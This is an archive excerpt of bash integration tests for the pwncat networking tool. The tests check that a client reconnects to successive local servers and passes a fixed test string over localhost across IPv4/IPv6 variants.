"${cli_stderr}" # [SERVER] Ensure Server has no errors test_case_instance_has_no_errors "Server" "${srv_pid}" "${srv1_stdout}" "${srv1_stderr}" "Client" "${cli_pid}" "${cli_stdout}" "${cli_stderr}" # [CLIENT] Ensure Client still has no errors test_case_instance_has_no_errors "Client" "${cli_pid}" "${cli_stdout}" "${cli_stderr}" "Server" "${srv_pid}" "${srv1_stdout}" "${srv1_stderr}" "(Connection refused)|(actively refused)|(timed out)" ### ### ### ROUND-2 START SERVER (NO SEND) ### ### # -------------------------------------------------------------------------------- # [ROUND-2 SRV-NOSEND] START: SERVER # -------------------------------------------------------------------------------- print_h2 "(5/10) Start: Server (round 2)" # Start Server print_info "Start Server" # shellcheck disable=SC2086 if ! srv_pid="$( run_bg "" "${PYTHON}" "${BINARY}" ${srv_opts} "${srv2_stdout}" "${srv2_stderr}" )"; then printf "" fi # Wait until Server is up run "sleep ${STARTUP_WAIT}" # [SERVER] Ensure Server is running test_case_instance_is_running "Server" "${srv_pid}" "${srv2_stdout}" "${srv2_stderr}" # [SERVER] Ensure Server has no errors test_case_instance_has_no_errors "Server" "${srv_pid}" "${srv2_stdout}" "${srv2_stderr}" # [CLIENT] Ensure Client is still is running test_case_instance_is_running "Client" "${cli_pid}" "${cli_stdout}" "${cli_stderr}" "Server" "${srv_pid}" "${srv2_stdout}" "${srv2_stderr}" # [CLIENT] Ensure Client still has no errors test_case_instance_has_no_errors "Client" "${cli_pid}" "${cli_stdout}" "${cli_stderr}" "Server" "${srv_pid}" "${srv2_stdout}" "${srv2_stderr}" "(Connection refused)|(actively refused)|(timed out)" # -------------------------------------------------------------------------------- # [ROUND-2]: SRV-NOSEND] STOP: SERVER # -------------------------------------------------------------------------------- print_h2 "(6/10) Stop: Server (round 2)" # [SERVER] Manually stop the Server action_stop_instance "Server" "${srv_pid}" "${srv2_stdout}" "${srv2_stderr}" "Client" "${cli_pid}" "${cli_stdout}" "${cli_stderr}" # [SERVER] Ensure Server has no errors test_case_instance_has_no_errors "Server" "${srv_pid}" "${srv2_stdout}" "${srv2_stderr}" "Client" "${cli_pid}" "${cli_stdout}" "${cli_stderr}" # [CLIENT] Ensure Client still has no errors test_case_instance_has_no_errors "Client" "${cli_pid}" "${cli_stdout}" "${cli_stderr}" "Server" "${srv_pid}" "${srv2_stdout}" "${srv2_stderr}" "(Connection refused)|(actively refused)|(timed out)" ### ### ### ROUND-3 START SERVER (SEND) ### ### # -------------------------------------------------------------------------------- # [ROUND-3 SRV-SEND] START: SERVER # -------------------------------------------------------------------------------- print_h2 "(7/10) Start: Server (round 3) (sends data to Client)" # Start Server print_info "Start Server" # shellcheck disable=SC2086 if ! srv_pid="$( run_bg "printf ${data}" "${PYTHON}" "${BINARY}" ${srv_opts} "${srv3_stdout}" "${srv3_stderr}" )"; then printf "" fi # Wait until Server is up run "sleep ${STARTUP_WAIT}" # [SERVER] Ensure Server is running test_case_instance_is_running "Server" "${srv_pid}" "${srv3_stdout}" "${srv3_stderr}" # [SERVER] Ensure Server has no errors test_case_instance_has_no_errors "Server" "${srv_pid}" "${srv3_stdout}" "${srv3_stderr}" # [CLIENT] Ensure Client is still is running test_case_instance_is_running "Client" "${cli_pid}" "${cli_stdout}" "${cli_stderr}" "Server" "${srv_pid}" "${srv3_stdout}" "${srv3_stderr}" # [CLIENT] Ensure Client still has no errors test_case_instance_has_no_errors "Client" "${cli_pid}" "${cli_stdout}" "${cli_stderr}" "Server" "${srv_pid}" "${srv3_stdout}" "${srv3_stderr}" "(Connection refused)|(actively refused)|(timed out)" # -------------------------------------------------------------------------------- # [ROUND-3: SRV-SEND] DATA TRANSFER # -------------------------------------------------------------------------------- print_h2 "(8/10) Transfer: Server -> Client (round 3)" # [SERVER -> CLIENT] wait_for_data_transferred "" "${data}" "${data_or}" "Client" "${cli_pid}" "${cli_stdout}" "${cli_stderr}" "Server" "${srv_pid}" "${srv2_stdout}" "${srv2_stderr}" # -------------------------------------------------------------------------------- # [ROUND-3]: SRV-SEND] STOP: SERVER # -------------------------------------------------------------------------------- print_h2 "(9/10) Stop: Server (round 3)" # [SERVER] Manually stop the Server action_stop_instance "Server" "${srv_pid}" "${srv3_stdout}" "${srv3_stderr}" "Client" "${cli_pid}" "${cli_stdout}" "${cli_stderr}" # [SERVER] Ensure Server has no errors test_case_instance_has_no_errors "Server" "${srv_pid}" "${srv3_stdout}" "${srv3_stderr}" "Client" "${cli_pid}" "${cli_stdout}" "${cli_stderr}" # [CLIENT] Ensure Client still has no errors test_case_instance_has_no_errors "Client" "${cli_pid}" "${cli_stdout}" "${cli_stderr}" "Server" "${srv_pid}" "${srv3_stdout}" "${srv3_stderr}" "(Connection refused)|(actively refused)|(timed out)" ### ### ### STOP CLIENT ### ### # -------------------------------------------------------------------------------- # STOP: CLIENT # -------------------------------------------------------------------------------- print_h2 "(10/10) Stop: Client" # [CLIENT] Manually stop the Client action_stop_instance "Client" "${cli_pid}" "${cli_stdout}" "${cli_stderr}" "Server" "${srv_pid}" "${srv3_stdout}" "${srv3_stderr}" } # ------------------------------------------------------------------------------------------------- # MAIN ENTRYPOINT # ------------------------------------------------------------------------------------------------- for curr_round in $(seq "${RUNS}"); do # server opts client opts # BIND ON ANY run_test "-l ${RPORT} --no-shutdown -vvvv" "${RHOST} ${RPORT} --no-shutdown --reconn -vvvv" "1" "14" "${curr_round}" "${RUNS}" run_test "-l ${RPORT} --no-shutdown -vvvv" "${RHOST} ${RPORT} --no-shutdown -4 --reconn -vvvv" "2" "14" "${curr_round}" "${RUNS}" run_test "-l ${RPORT} --no-shutdown -vvvv" "${RHOST} ${RPORT} --no-shutdown -6 --reconn -vvvv" "3" "14" "${curr_round}" "${RUNS}" run_test "-l ${RPORT} --no-shutdown -4 -vvvv" "${RHOST} ${RPORT} --no-shutdown --reconn -vvvv" "4" "14" "${curr_round}" "${RUNS}" run_test "-l ${RPORT} --no-shutdown -4 -vvvv" "${RHOST} ${RPORT} --no-shutdown -4 --reconn -vvvv" "5" "14" "${curr_round}" "${RUNS}" run_test "-l ${RPORT} --no-shutdown -6 -vvvv" "${RHOST} ${RPORT} --no-shutdown --reconn -vvvv" "6" "14" "${curr_round}" "${RUNS}" run_test "-l ${RPORT} --no-shutdown -6 -vvvv" "${RHOST} ${RPORT} --no-shutdown -6 --reconn -vvvv" "7" "14" "${curr_round}" "${RUNS}" # BIND ON SPECIFIC run_test "-l ${RHOST} ${RPORT} --no-shutdown -vvvv" "${RHOST} ${RPORT} --no-shutdown --reconn -vvvv" "8" "14" "${curr_round}" "${RUNS}" run_test "-l ${RHOST} ${RPORT} --no-shutdown -vvvv" "${RHOST} ${RPORT} --no-shutdown -4 --reconn -vvvv" "9" "14" "${curr_round}" "${RUNS}" run_test "-l ${RHOST} ${RPORT} --no-shutdown -vvvv" "${RHOST} ${RPORT} --no-shutdown -6 --reconn -vvvv" "10" "14" "${curr_round}" "${RUNS}" run_test "-l ${RHOST} ${RPORT} --no-shutdown -4 -vvvv" "${RHOST} ${RPORT} --no-shutdown --reconn -vvvv" "11" "14" "${curr_round}" "${RUNS}" run_test "-l ${RHOST} ${RPORT} --no-shutdown -4 -vvvv" "${RHOST} ${RPORT} --no-shutdown -4 --reconn -vvvv" "12" "14" "${curr_round}" "${RUNS}" run_test "-l ${RHOST} ${RPORT} --no-shutdown -6 -vvvv" "${RHOST} ${RPORT} --no-shutdown --reconn -vvvv" "13" "14" "${curr_round}" "${RUNS}" run_test "-l ${RHOST} ${RPORT} --no-shutdown -6 -vvvv" "${RHOST} ${RPORT} --no-shutdown -6 --reconn -vvvv" "14" "14" "${curr_round}" "${RUNS}" done 6042eef163972b964a37854e485684097f329931.paxheader00006660000000000000000000000253141402502470017753xustar00rootroot00000000000000171 path=pwncat-0.1.2/tests/integration/23-options---reconn/001---tcp---client_reconn---three_servers---server_default---srv_down_cli_send-srv_nosend-srv_send-srv_send.sh 6042eef163972b964a37854e485684097f329931.data000077500000000000000000000312541414025024700166210ustar00rootroot00000000000000#!/usr/bin/env bash set -e set -u set -o pipefail SCRIPTPATH="$( cd "$(dirname "$0")" >/dev/null 2>&1 ; pwd -P )" SOURCEPATH="${SCRIPTPATH}/../../.lib/conf.sh" BINARY="${SCRIPTPATH}/../../../bin/pwncat" # shellcheck disable=SC1090 source "${SOURCEPATH}" # ------------------------------------------------------------------------------------------------- # GLOBALS # ------------------------------------------------------------------------------------------------- RHOST="${1:-localhost}" RPORT="${2:-4444}" STARTUP_WAIT="${3:-4}" RUNS="${4:-1}" PYTHON="python${5:-}" PYVER="$( "${PYTHON}" -V 2>&1 | head -1 || true )" # ------------------------------------------------------------------------------------------------- # TEST FUNCTIONS # ------------------------------------------------------------------------------------------------- print_test_case "${PYVER}" run_test() { local srv_opts="${1// / }" local cli_opts="${2// / }" local curr_mutation="${3}" local total_mutation="${4}" local curr_round="${5}" local total_round="${6}" local data= local data_or= print_h1 "[ROUND: ${curr_round}/${total_round}] (mutation: ${curr_mutation}/${total_mutation}) Starting Test Round (srv '${srv_opts}' vs cli '${cli_opts}')" run "sleep 1" ### ### Create data and files ### data="abcdefghijklmnopqrstuvwxyz1234567890\\n" data_or="abcdefghijklmnopqrstuvwxyz1234567890\\r\\n" srv1_stdout="$(tmp_file)" srv1_stderr="$(tmp_file)" srv2_stdout="$(tmp_file)" srv2_stderr="$(tmp_file)" srv3_stdout="$(tmp_file)" srv3_stderr="$(tmp_file)" cli_stdout="$(tmp_file)" cli_stderr="$(tmp_file)" ### ### ### 1/x START CLIENT (SEND DATA) ### ### # -------------------------------------------------------------------------------- # START: CLIENT # -------------------------------------------------------------------------------- print_h2 "(1/11) Start: Client (round 1)" # Start Client print_info "Start Client (sends data to Server)" # shellcheck disable=SC2086 if ! cli_pid="$( run_bg "printf ${data}" "${PYTHON}" "${BINARY}" ${cli_opts} "${cli_stdout}" "${cli_stderr}" )"; then printf "" fi # Wait until Client is up run "sleep ${STARTUP_WAIT}" # [CLIENT] Ensure Client is running test_case_instance_is_running "Client" "${cli_pid}" "${cli_stdout}" "${cli_stderr}" # [CLIENT] Ensure Client has no errors test_case_instance_has_no_errors "Client" "${cli_pid}" "${cli_stdout}" "${cli_stderr}" "" "" "" "" "(Connection refused)|(actively refused)|(timed out)" ### ### ### ROUND-1 START SERVER (NO SEND) ### ### # -------------------------------------------------------------------------------- # [ROUND-1 SRV-NOSEND] START: SERVER # -------------------------------------------------------------------------------- print_h2 "(2/11) Start: Server (round 1)" # Start Server print_info "Start Server" # shellcheck disable=SC2086 if ! srv_pid="$( run_bg "" "${PYTHON}" "${BINARY}" ${srv_opts} "${srv1_stdout}" "${srv1_stderr}" )"; then printf "" fi # Wait until Server is up run "sleep ${STARTUP_WAIT}" # [SERVER] Ensure Server is running test_case_instance_is_running "Server" "${srv_pid}" "${srv1_stdout}" "${srv1_stderr}" # [SERVER] Ensure Server has no errors test_case_instance_has_no_errors "Server" "${srv_pid}" "${srv1_stdout}" "${srv1_stderr}" # [CLIENT] Ensure Client is still is running test_case_instance_is_running "Client" "${cli_pid}" "${cli_stdout}" "${cli_stderr}" "Server" "${srv_pid}" "${srv1_stdout}" "${srv1_stderr}" # [CLIENT] Ensure Client still has no errors test_case_instance_has_no_errors "Client" "${cli_pid}" "${cli_stdout}" "${cli_stderr}" "Server" "${srv_pid}" "${srv1_stdout}" "${srv1_stderr}" "(Connection refused)|(actively refused)|(timed out)" # -------------------------------------------------------------------------------- # [ROUND-1: SRV-NOSEND] DATA TRANSFER # -------------------------------------------------------------------------------- print_h2 "(3/11) Transfer: Client -> Server (round 1)" # [CLIENT -> SERVER] wait_for_data_transferred "" "${data}" "${data_or}" "Server" "${srv_pid}" "${srv1_stdout}" "${srv1_stderr}" "Client" "${cli_pid}" "${cli_stdout}" "${cli_stderr}" # -------------------------------------------------------------------------------- # [ROUND-1]: SRV-NOSEND] STOP: SERVER # -------------------------------------------------------------------------------- print_h2 "(4/11) Stop: Server (round 1)" # [SERVER] Manually stop the Server action_stop_instance "Server" "${srv_pid}" "${srv1_stdout}" "${srv1_stderr}" "Client" "${cli_pid}" "${cli_stdout}" "${cli_stderr}" # [SERVER] Ensure Server has no errors test_case_instance_has_no_errors "Server" "${srv_pid}" "${srv1_stdout}" "${srv1_stderr}" "Client" "${cli_pid}" "${cli_stdout}" "${cli_stderr}" # [CLIENT] Ensure Client still has no errors test_case_instance_has_no_errors "Client" "${cli_pid}" "${cli_stdout}" "${cli_stderr}" "Server" "${srv_pid}" "${srv1_stdout}" "${srv1_stderr}" "(Connection refused)|(actively refused)|(timed out)" ### ### ### ROUND-2 START SERVER (NO SEND) ### ### # -------------------------------------------------------------------------------- # [ROUND-2 SRV-SEND] START: SERVER # -------------------------------------------------------------------------------- print_h2 "(5/11) Start: Server (round 2) (sends data to Client)" # Start Server print_info "Start Server" # shellcheck disable=SC2086 if ! srv_pid="$( run_bg "printf ${data}" "${PYTHON}" "${BINARY}" ${srv_opts} "${srv2_stdout}" "${srv2_stderr}" )"; then printf "" fi # Wait until Server is up run "sleep ${STARTUP_WAIT}" # [SERVER] Ensure Server is running test_case_instance_is_running "Server" "${srv_pid}" "${srv2_stdout}" "${srv2_stderr}" # [SERVER] Ensure Server has no errors test_case_instance_has_no_errors "Server" "${srv_pid}" "${srv2_stdout}" "${srv2_stderr}" # [CLIENT] Ensure Client is still is running test_case_instance_is_running "Client" "${cli_pid}" "${cli_stdout}" "${cli_stderr}" "Server" "${srv_pid}" "${srv2_stdout}" "${srv2_stderr}" # [CLIENT] Ensure Client still has no errors test_case_instance_has_no_errors "Client" "${cli_pid}" "${cli_stdout}" "${cli_stderr}" "Server" "${srv_pid}" "${srv2_stdout}" "${srv2_stderr}" "(Connection refused)|(actively refused)|(timed out)" # -------------------------------------------------------------------------------- # [ROUND-2: SRV-SEND] DATA TRANSFER # -------------------------------------------------------------------------------- print_h2 "(6/11) Transfer: Server -> Client (round 2)" # [SERVER -> CLIENT] wait_for_data_transferred "" "${data}" "${data_or}" "Client" "${cli_pid}" "${cli_stdout}" "${cli_stderr}" "Server" "${srv_pid}" "${srv2_stdout}" "${srv2_stderr}" # -------------------------------------------------------------------------------- # [ROUND-2]: SRV-SEND] STOP: SERVER # -------------------------------------------------------------------------------- print_h2 "(7/11) Stop: Server (round 2)" # [SERVER] Manually stop the Server action_stop_instance "Server" "${srv_pid}" "${srv2_stdout}" "${srv2_stderr}" "Client" "${cli_pid}" "${cli_stdout}" "${cli_stderr}" # [SERVER] Ensure Server has no errors test_case_instance_has_no_errors "Server" "${srv_pid}" "${srv2_stdout}" "${srv2_stderr}" "Client" "${cli_pid}" "${cli_stdout}" "${cli_stderr}" # [CLIENT] Ensure Client still has no errors test_case_instance_has_no_errors "Client" "${cli_pid}" "${cli_stdout}" "${cli_stderr}" "Server" "${srv_pid}" "${srv2_stdout}" "${srv2_stderr}" "(Connection refused)|(actively refused)|(timed out)" ### ### ### ROUND-3 START SERVER (SEND) ### ### # -------------------------------------------------------------------------------- # [ROUND-3 SRV-SEND] START: SERVER # -------------------------------------------------------------------------------- print_h2 "(8/11) Start: Server (round 3) (sends data to Client)" # Start Server print_info "Start Server" # shellcheck disable=SC2086 if ! srv_pid="$( run_bg "printf ${data}" "${PYTHON}" "${BINARY}" ${srv_opts} "${srv3_stdout}" "${srv3_stderr}" )"; then printf "" fi # Wait until Server is up run "sleep ${STARTUP_WAIT}" # [SERVER] Ensure Server is running test_case_instance_is_running "Server" "${srv_pid}" "${srv3_stdout}" "${srv3_stderr}" # [SERVER] Ensure Server has no errors test_case_instance_has_no_errors "Server" "${srv_pid}" "${srv3_stdout}" "${srv3_stderr}" # [CLIENT] Ensure Client is still is running test_case_instance_is_running "Client" "${cli_pid}" "${cli_stdout}" "${cli_stderr}" "Server" "${srv_pid}" "${srv3_stdout}" "${srv3_stderr}" # [CLIENT] Ensure Client still has no errors test_case_instance_has_no_errors "Client" "${cli_pid}" "${cli_stdout}" "${cli_stderr}" "Server" "${srv_pid}" "${srv3_stdout}" "${srv3_stderr}" "(Connection refused)|(actively refused)|(timed out)" # -------------------------------------------------------------------------------- # [ROUND-3: SRV-SEND] DATA TRANSFER # -------------------------------------------------------------------------------- print_h2 "(9/11) Transfer: Server -> Client (round 3)" # [SERVER -> CLIENT] wait_for_data_transferred "" "${data}${data}" "${data_or}${data_or}" "Client" "${cli_pid}" "${cli_stdout}" "${cli_stderr}" "Server" "${srv_pid}" "${srv3_stdout}" "${srv3_stderr}" # -------------------------------------------------------------------------------- # [ROUND-3]: SRV-SEND] STOP: SERVER # -------------------------------------------------------------------------------- print_h2 "(10/11) Stop: Server (round 3)" # [SERVER] Manually stop the Server action_stop_instance "Server" "${srv_pid}" "${srv3_stdout}" "${srv3_stderr}" "Client" "${cli_pid}" "${cli_stdout}" "${cli_stderr}" # [SERVER] Ensure Server has no errors test_case_instance_has_no_errors "Server" "${srv_pid}" "${srv3_stdout}" "${srv3_stderr}" "Client" "${cli_pid}" "${cli_stdout}" "${cli_stderr}" # [CLIENT] Ensure Client still has no errors test_case_instance_has_no_errors "Client" "${cli_pid}" "${cli_stdout}" "${cli_stderr}" "Server" "${srv_pid}" "${srv3_stdout}" "${srv3_stderr}" "(Connection refused)|(actively refused)|(timed out)" ### ### ### STOP CLIENT ### ### # -------------------------------------------------------------------------------- # STOP: CLIENT # -------------------------------------------------------------------------------- print_h2 "(11/11) Stop: Client" # [CLIENT] Manually stop the Client action_stop_instance "Client" "${cli_pid}" "${cli_stdout}" "${cli_stderr}" "Server" "${srv_pid}" "${srv3_stdout}" "${srv3_stderr}" } # ------------------------------------------------------------------------------------------------- # MAIN ENTRYPOINT # ------------------------------------------------------------------------------------------------- for curr_round in $(seq "${RUNS}"); do # server opts client opts # BIND ON ANY run_test "-l ${RPORT} --no-shutdown -vvvv" "${RHOST} ${RPORT} --no-shutdown --reconn -vvvv" "1" "14" "${curr_round}" "${RUNS}" run_test "-l ${RPORT} --no-shutdown -vvvv" "${RHOST} ${RPORT} --no-shutdown -4 --reconn -vvvv" "2" "14" "${curr_round}" "${RUNS}" run_test "-l ${RPORT} --no-shutdown -vvvv" "${RHOST} ${RPORT} --no-shutdown -6 --reconn -vvvv" "3" "14" "${curr_round}" "${RUNS}" run_test "-l ${RPORT} --no-shutdown -4 -vvvv" "${RHOST} ${RPORT} --no-shutdown --reconn -vvvv" "4" "14" "${curr_round}" "${RUNS}" run_test "-l ${RPORT} --no-shutdown -4 -vvvv" "${RHOST} ${RPORT} --no-shutdown -4 --reconn -vvvv" "5" "14" "${curr_round}" "${RUNS}" run_test "-l ${RPORT} --no-shutdown -6 -vvvv" "${RHOST} ${RPORT} --no-shutdown --reconn -vvvv" "6" "14" "${curr_round}" "${RUNS}" run_test "-l ${RPORT} --no-shutdown -6 -vvvv" "${RHOST} ${RPORT} --no-shutdown -6 --reconn -vvvv" "7" "14" "${curr_round}" "${RUNS}" # BIND ON SPECIFIC run_test "-l ${RHOST} ${RPORT} --no-shutdown -vvvv" "${RHOST} ${RPORT} --no-shutdown --reconn -vvvv" "8" "14" "${curr_round}" "${RUNS}" run_test "-l ${RHOST} ${RPORT} --no-shutdown -vvvv" "${RHOST} ${RPORT} --no-shutdown -4 --reconn -vvvv" "9" "14" "${curr_round}" "${RUNS}" run_test "-l ${RHOST} ${RPORT} --no-shutdown -vvvv" "${RHOST} ${RPORT} --no-shutdown -6 --reconn -vvvv" "10" "14" "${curr_round}" "${RUNS}" run_test "-l ${RHOST} ${RPORT} --no-shutdown -4 -vvvv" "${RHOST} ${RPORT} --no-shutdown --reconn -vvvv" "11" "14" "${curr_round}" "${RUNS}" run_test "-l ${RHOST} ${RPORT} --no-shutdown -4 -vvvv" "${RHOST} ${RPORT} --no-shutdown -4 --reconn -vvvv" "12" "14" "${curr_round}" "${RUNS}" run_test "-l ${RHOST} ${RPORT} --no-shutdown -6 -vvvv" "${RHOST} ${RPORT} --no-shutdown --reconn -vvvv" "13" "14" "${curr_round}" "${RUNS}" run_test "-l ${RHOST} ${RPORT} --no-shutdown -6 -vvvv" "${RHOST} ${RPORT} --no-shutdown -6 --reconn -vvvv" "14" "14" "${curr_round}" "${RUNS}" done e791a699aaaa26c2fd83bd284d0c5b34082ddda0.paxheader00006660000000000000000000000251141402502470020714xustar00rootroot00000000000000169 path=pwncat-0.1.2/tests/integration/23-options---reconn/002---tcp---client_reconn---three_servers---server_default---srv_down_cli_send-srv_send-srv_send-srv_send.sh e791a699aaaa26c2fd83bd284d0c5b34082ddda0.data000077500000000000000000000322611414025024700175630ustar00rootroot00000000000000#!/usr/bin/env bash set -e set -u set -o pipefail SCRIPTPATH="$( cd "$(dirname "$0")" >/dev/null 2>&1 ; pwd -P )" SOURCEPATH="${SCRIPTPATH}/../../.lib/conf.sh" BINARY="${SCRIPTPATH}/../../../bin/pwncat" # shellcheck disable=SC1090 source "${SOURCEPATH}" # ------------------------------------------------------------------------------------------------- # GLOBALS # ------------------------------------------------------------------------------------------------- RHOST="${1:-localhost}" RPORT="${2:-4444}" STARTUP_WAIT="${3:-4}" RUNS="${4:-1}" PYTHON="python${5:-}" PYVER="$( "${PYTHON}" -V 2>&1 | head -1 || true )" # ------------------------------------------------------------------------------------------------- # TEST FUNCTIONS # ------------------------------------------------------------------------------------------------- print_test_case "${PYVER}" run_test() { local srv_opts="${1// / }" local cli_opts="${2// / }" local curr_mutation="${3}" local total_mutation="${4}" local curr_round="${5}" local total_round="${6}" local data= local data_or= print_h1 "[ROUND: ${curr_round}/${total_round}] (mutation: ${curr_mutation}/${total_mutation}) Starting Test Round (srv '${srv_opts}' vs cli '${cli_opts}')" run "sleep 1" ### ### Create data and files ### data="abcdefghijklmnopqrstuvwxyz1234567890\\n" data_or="abcdefghijklmnopqrstuvwxyz1234567890\\r\\n" srv1_stdout="$(tmp_file)" srv1_stderr="$(tmp_file)" srv2_stdout="$(tmp_file)" srv2_stderr="$(tmp_file)" srv3_stdout="$(tmp_file)" srv3_stderr="$(tmp_file)" cli_stdout="$(tmp_file)" cli_stderr="$(tmp_file)" ### ### ### 1/x START CLIENT (SEND DATA) ### ### # -------------------------------------------------------------------------------- # START: CLIENT # -------------------------------------------------------------------------------- print_h2 "(1/12) Start: Client (round 1)" # Start Client print_info "Start Client (sends data to Server)" # shellcheck disable=SC2086 if ! cli_pid="$( run_bg "printf ${data}" "${PYTHON}" "${BINARY}" ${cli_opts} "${cli_stdout}" "${cli_stderr}" )"; then printf "" fi # Wait until Client is up run "sleep ${STARTUP_WAIT}" # [CLIENT] Ensure Client is running test_case_instance_is_running "Client" "${cli_pid}" "${cli_stdout}" "${cli_stderr}" # [CLIENT] Ensure Client has no errors test_case_instance_has_no_errors "Client" "${cli_pid}" "${cli_stdout}" "${cli_stderr}" "" "" "" "" "(Connection refused)|(actively refused)|(timed out)" ### ### ### ROUND-1 START SERVER (NO SEND) ### ### # -------------------------------------------------------------------------------- # [ROUND-1 SRV-SEND] START: SERVER # -------------------------------------------------------------------------------- print_h2 "(2/12) Start: Server (round 1) (sends data to Client)" # Start Server print_info "Start Server" # shellcheck disable=SC2086 if ! srv_pid="$( run_bg "printf ${data}" "${PYTHON}" "${BINARY}" ${srv_opts} "${srv1_stdout}" "${srv1_stderr}" )"; then printf "" fi # Wait until Server is up run "sleep ${STARTUP_WAIT}" # [SERVER] Ensure Server is running test_case_instance_is_running "Server" "${srv_pid}" "${srv1_stdout}" "${srv1_stderr}" # [SERVER] Ensure Server has no errors test_case_instance_has_no_errors "Server" "${srv_pid}" "${srv1_stdout}" "${srv1_stderr}" # [CLIENT] Ensure Client is still is running test_case_instance_is_running "Client" "${cli_pid}" "${cli_stdout}" "${cli_stderr}" "Server" "${srv_pid}" "${srv1_stdout}" "${srv1_stderr}" # [CLIENT] Ensure Client still has no errors test_case_instance_has_no_errors "Client" "${cli_pid}" "${cli_stdout}" "${cli_stderr}" "Server" "${srv_pid}" "${srv1_stdout}" "${srv1_stderr}" "(Connection refused)|(actively refused)|(timed out)" # -------------------------------------------------------------------------------- # [ROUND-1: SRV-SEND] DATA TRANSFER # -------------------------------------------------------------------------------- print_h2 "(3/12) Transfer: Client -> Server (round 1)" # [CLIENT -> SERVER] wait_for_data_transferred "" "${data}" "${data_or}" "Server" "${srv_pid}" "${srv1_stdout}" "${srv1_stderr}" "Client" "${cli_pid}" "${cli_stdout}" "${cli_stderr}" # -------------------------------------------------------------------------------- # [ROUND-1: SRV-SEND] DATA TRANSFER # -------------------------------------------------------------------------------- print_h2 "(4/12) Transfer: Server -> Client (round 2)" # [SERVER -> Client] wait_for_data_transferred "" "${data}" "${data_or}" "Client" "${cli_pid}" "${cli_stdout}" "${cli_stderr}" "Server" "${srv_pid}" "${srv1_stdout}" "${srv1_stderr}" # -------------------------------------------------------------------------------- # [ROUND-1]: SRV-NOSEND] STOP: SERVER # -------------------------------------------------------------------------------- print_h2 "(5/12) Stop: Server (round 1)" # [SERVER] Manually stop the Server action_stop_instance "Server" "${srv_pid}" "${srv1_stdout}" "${srv1_stderr}" "Client" "${cli_pid}" "${cli_stdout}" "${cli_stderr}" # [SERVER] Ensure Server has no errors test_case_instance_has_no_errors "Server" "${srv_pid}" "${srv1_stdout}" "${srv1_stderr}" "Client" "${cli_pid}" "${cli_stdout}" "${cli_stderr}" # [CLIENT] Ensure Client still has no errors test_case_instance_has_no_errors "Client" "${cli_pid}" "${cli_stdout}" "${cli_stderr}" "Server" "${srv_pid}" "${srv1_stdout}" "${srv1_stderr}" "(Connection refused)|(actively refused)|(timed out)" ### ### ### ROUND-2 START SERVER (NO SEND) ### ### # -------------------------------------------------------------------------------- # [ROUND-2 SRV-SEND] START: SERVER # -------------------------------------------------------------------------------- print_h2 "(6/12) Start: Server (round 2) (sends data to Client)" # Start Server print_info "Start Server" # shellcheck disable=SC2086 if ! srv_pid="$( run_bg "printf ${data}" "${PYTHON}" "${BINARY}" ${srv_opts} "${srv2_stdout}" "${srv2_stderr}" )"; then printf "" fi # Wait until Server is up run "sleep ${STARTUP_WAIT}" # [SERVER] Ensure Server is running test_case_instance_is_running "Server" "${srv_pid}" "${srv2_stdout}" "${srv2_stderr}" # [SERVER] Ensure Server has no errors test_case_instance_has_no_errors "Server" "${srv_pid}" "${srv2_stdout}" "${srv2_stderr}" # [CLIENT] Ensure Client is still is running test_case_instance_is_running "Client" "${cli_pid}" "${cli_stdout}" "${cli_stderr}" "Server" "${srv_pid}" "${srv2_stdout}" "${srv2_stderr}" # [CLIENT] Ensure Client still has no errors test_case_instance_has_no_errors "Client" "${cli_pid}" "${cli_stdout}" "${cli_stderr}" "Server" "${srv_pid}" "${srv2_stdout}" "${srv2_stderr}" "(Connection refused)|(actively refused)|(timed out)" # -------------------------------------------------------------------------------- # [ROUND-2: SRV-SEND] DATA TRANSFER # -------------------------------------------------------------------------------- print_h2 "(7/12) Transfer: Server -> Client (round 2)" # [SERVER -> Client] wait_for_data_transferred "" "${data}${data}" "${data_or}${data_or}" "Client" "${cli_pid}" "${cli_stdout}" "${cli_stderr}" "Server" "${srv_pid}" "${srv2_stdout}" "${srv2_stderr}" # -------------------------------------------------------------------------------- # [ROUND-2]: SRV-SEND] STOP: SERVER # -------------------------------------------------------------------------------- print_h2 "(8/12) Stop: Server (round 2)" # [SERVER] Manually stop the Server action_stop_instance "Server" "${srv_pid}" "${srv2_stdout}" "${srv2_stderr}" "Client" "${cli_pid}" "${cli_stdout}" "${cli_stderr}" # [SERVER] Ensure Server has no errors test_case_instance_has_no_errors "Server" "${srv_pid}" "${srv2_stdout}" "${srv2_stderr}" "Client" "${cli_pid}" "${cli_stdout}" "${cli_stderr}" # [CLIENT] Ensure Client still has no errors test_case_instance_has_no_errors "Client" "${cli_pid}" "${cli_stdout}" "${cli_stderr}" "Server" "${srv_pid}" "${srv2_stdout}" "${srv2_stderr}" "(Connection refused)|(actively refused)|(timed out)" ### ### ### ROUND-3 START SERVER (SEND) ### ### # -------------------------------------------------------------------------------- # [ROUND-3 SRV-SEND] START: SERVER # -------------------------------------------------------------------------------- print_h2 "(9/12) Start: Server (round 3) (sends data to Client)" # Start Server print_info "Start Server" # shellcheck disable=SC2086 if ! srv_pid="$( run_bg "printf ${data}" "${PYTHON}" "${BINARY}" ${srv_opts} "${srv3_stdout}" "${srv3_stderr}" )"; then printf "" fi # Wait until Server is up run "sleep ${STARTUP_WAIT}" # [SERVER] Ensure Server is running test_case_instance_is_running "Server" "${srv_pid}" "${srv3_stdout}" "${srv3_stderr}" # [SERVER] Ensure Server has no errors test_case_instance_has_no_errors "Server" "${srv_pid}" "${srv3_stdout}" "${srv3_stderr}" # [CLIENT] Ensure Client is still is running test_case_instance_is_running "Client" "${cli_pid}" "${cli_stdout}" "${cli_stderr}" "Server" "${srv_pid}" "${srv3_stdout}" "${srv3_stderr}" # [CLIENT] Ensure Client still has no errors test_case_instance_has_no_errors "Client" "${cli_pid}" "${cli_stdout}" "${cli_stderr}" "Server" "${srv_pid}" "${srv3_stdout}" "${srv3_stderr}" "(Connection refused)|(actively refused)|(timed out)" # -------------------------------------------------------------------------------- # [ROUND-3: SRV-SEND] DATA TRANSFER # -------------------------------------------------------------------------------- print_h2 "(10/12) Transfer: Server -> Client (round 3)" # [SERVER -> Client] wait_for_data_transferred "" "${data}${data}${data}" "${data_or}${data_or}${data_or}" "Client" "${cli_pid}" "${cli_stdout}" "${cli_stderr}" "Server" "${srv_pid}" "${srv3_stdout}" "${srv3_stderr}" # -------------------------------------------------------------------------------- # [ROUND-3]: SRV-SEND] STOP: SERVER # -------------------------------------------------------------------------------- print_h2 "(11/12) Stop: Server (round 3)" # [SERVER] Manually stop the Server action_stop_instance "Server" "${srv_pid}" "${srv3_stdout}" "${srv3_stderr}" "Client" 